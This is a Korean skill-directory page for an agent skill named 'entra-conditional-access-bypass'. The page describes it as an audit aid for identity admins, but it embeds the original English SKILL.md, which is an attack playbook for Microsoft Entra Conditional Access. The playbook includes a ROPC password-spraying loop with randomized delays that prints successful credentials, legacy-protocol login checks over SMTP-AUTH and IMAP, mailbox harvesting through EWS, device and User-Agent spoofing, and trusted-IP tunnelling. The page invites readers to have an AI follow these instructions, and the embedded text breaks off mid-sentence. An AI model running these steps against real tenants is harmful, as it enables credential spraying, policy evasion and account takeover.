본문으로 건너뛰기
Skillpedia
보안6.5k · #13992

entra-conditional-access-bypass

하는 일

이 스킬은 레거시 로그인 프로토콜, 제외된 앱, 비상용 계정처럼 Microsoft Entra 조건부 액세스의 빈틈을 다룹니다. 자신의 로그인 정책을 감사하는 ID 관리자를 위한 스킬입니다.

사용하는 경우

  • ✓ID 관리자가 조건부 액세스가 레거시 로그인 프로토콜을 막는지 확인해 달라고 에이전트에게 요청할 때.
  • ✓에이전트가 정책에서 제외된 앱, 서비스 주체, 비상용(break-glass) 계정을 검토할 때.
  • ✓감사 보고서에 정책의 빈틈과 이를 막는 방법을 설명해야 하는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/entra-conditional-access-bypass/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/entra-conditional-access-bypass/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“우리 Entra 조건부 액세스 정책 중 레거시 프로토콜이 빠졌거나 중요한 앱을 제외한 것이 있는지 확인해 주시겠어요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 정책과 적용 범위를 나열하고, 사용 중인 프로토콜과 앱에 비교한 뒤, 빈틈을 관리자에게 보고합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Entra Conditional Access Bypass

Conditional Access (CA) policies gate sign-ins by user/app/platform/location/device. Bypasses come from the gaps in policy scoping — legacy protocols not covered, service-principal flows out of scope, device/UA conditions spoofable, break-glass accounts excluded.

Phase 1: Enumerate the policy surface

Authenticated (Graph)

TOKEN=<GLOBAL_READER_OR_SECREADER>
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/beta/policies/conditionalAccessPolicies" \
  | jq '.value[] | {n:.displayName, st:.state, users:.conditions.users, apps:.conditions.applications, plat:.conditions.platforms, loc:.conditions.locations, ctrl:.grantControls}'

Authenticated (roadrecon)

roadrecon plugin policies > capolicies.json
# Look for: state=enabledForReportingButNotEnforced (audit-only), excludeUsers (BG accounts), excludeApplications, includeApplications missing 'All cloud apps'

Unauth signals

Sign-in failure error codes reveal CA:

  • AADSTS53003 = blocked by Conditional Access — confirms a policy fired
  • AADSTS50158 = external security challenge required (MFA-by-CA)
  • AADSTS50053 = locked → smart-lockout, not CA
  • AADSTS500011 = resource principal not found in tenant → app exclusion path
  • No 53003 across many protocols + locations → CA has gaps

Phase 2: Legacy auth bypass (basic auth survival)

Despite "basic auth deprecation", many tenants still allow SMTP-AUTH; ROPC (Resource Owner Password Credentials) over oauth2/token is also frequently NOT covered by CA (CA gates Browser + Modern auth clients, but ROPC sneaks through if the policy doesn't include Other clients).

ROPC spray (no MFA prompt)

TARGET=<TARGET>; TENANT=<TENANT>
for u in $(cat valid_users.txt); do
  for p in $(cat pwlist.txt); do
    r=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/token" \
      -d "resource=https://graph.windows.net&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&grant_type=password&username=${u}@${TARGET}&password=${p}")
    if echo "$r" | jq -e .access_token >/dev/null; then echo "WIN: $u:$p"; break; fi
    sleep $((RANDOM % 3 + 4))
  done
done

SMTP-AUTH (Exchange Online)

# CA "block legacy auth" usually scopes 'Exchange ActiveSync' + 'Other clients' — verify SMTP submission:
swaks --server smtp.office365.com:587 --tls --auth LOGIN \
  --auth-user <UPN> --auth-password '<PW>' \
  --from <UPN> --to <UPN> --header "Subject: t" --body t
# 235 Authentication succeeded => SMTP-AUTH is alive ; tenant likely also lets ROPC through.

IMAP / POP

openssl s_client -crlf -connect outlook.office365.com:993
# A1 LOGIN <UPN> "<PW>"

EWS / Autodiscover with NTLM-over-OAuth

# MailSniper (PS) — pulls mailboxes via EWS using OAuth token, skips CA on EWS-app if 'Office 365 Exchange Online' isn't in policy scope:
Invoke-OpenInboxFinder -EmailList users.txt -ExchHostname outlook.office365.com -Verbose

Phase 3: Device / platform spoofing

CA "require compliant device" + "platform = Windows" rely on UA + x-ms-DeviceType headers — spoofable when the tenant lacks device certificate enforcement.

# Pretend to be a managed Windows client to bypass "block non-Windows":
curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Edge/120.0" \
  -H "x-ms-PKeyAuth: 1.0" \
  -d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e&grant_type=password&username=<UPN>&password=<PW>&scope=https://graph.microsoft.com/.default"
# client_id 29d9ed98 = Microsoft Authentication Broker — often in CA exclusion.

PKeyAuth spoof — without the actual device cert, this only works against CAs that just check the advertised platform, not device compliance state (very common misconfig).

Trusted-location bypass

# Tunnel auth from a VPS in a trusted-IP range. List location named-ranges:
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/identity/conditionalAccess/namedLocations" | jq '.[]|{n:.displayName,r:.ipRanges}'
# If a partner ASN is "trusted", any cloud VM in that ASN bypasses the geo control.

Phase 4: Service-principal / app-based bypass

CA historically scoped to USERS only. Workload Identity CA exists but is rarely enforced — service principals with Application.ReadWrite.All etc. authenticate as the app, no user, no MFA, no C

자주 묻는 질문

조건부 액세스란 무엇인가요?

사용자, 앱, 기기, 위치, 위험도에 따라 로그인 규칙을 정하는 Microsoft Entra 기능입니다.

레거시 프로토콜이 왜 빈틈인가요?

스킬은 오래된 프로토콜은 최신 정책이 다루지 않을 수 있어, 다단계 인증 같은 검사를 건너뛸 수 있다고 설명합니다.

스킬은 비상용 계정도 다루나요?

네. 정책에서 제외된 비상용 계정도 검토해야 한다고 설명합니다.

상세 정보

작성자의 원본 설명

Entra Conditional Access bypass — discover policy gaps, exploit legacy-auth protocols (IMAP/POP/SMTP-AUTH/EWS), spoof device/platform/UA/location conditions, abuse service-principals + app-based auth excluded from CA, and break-glass account misuse.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#13992
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬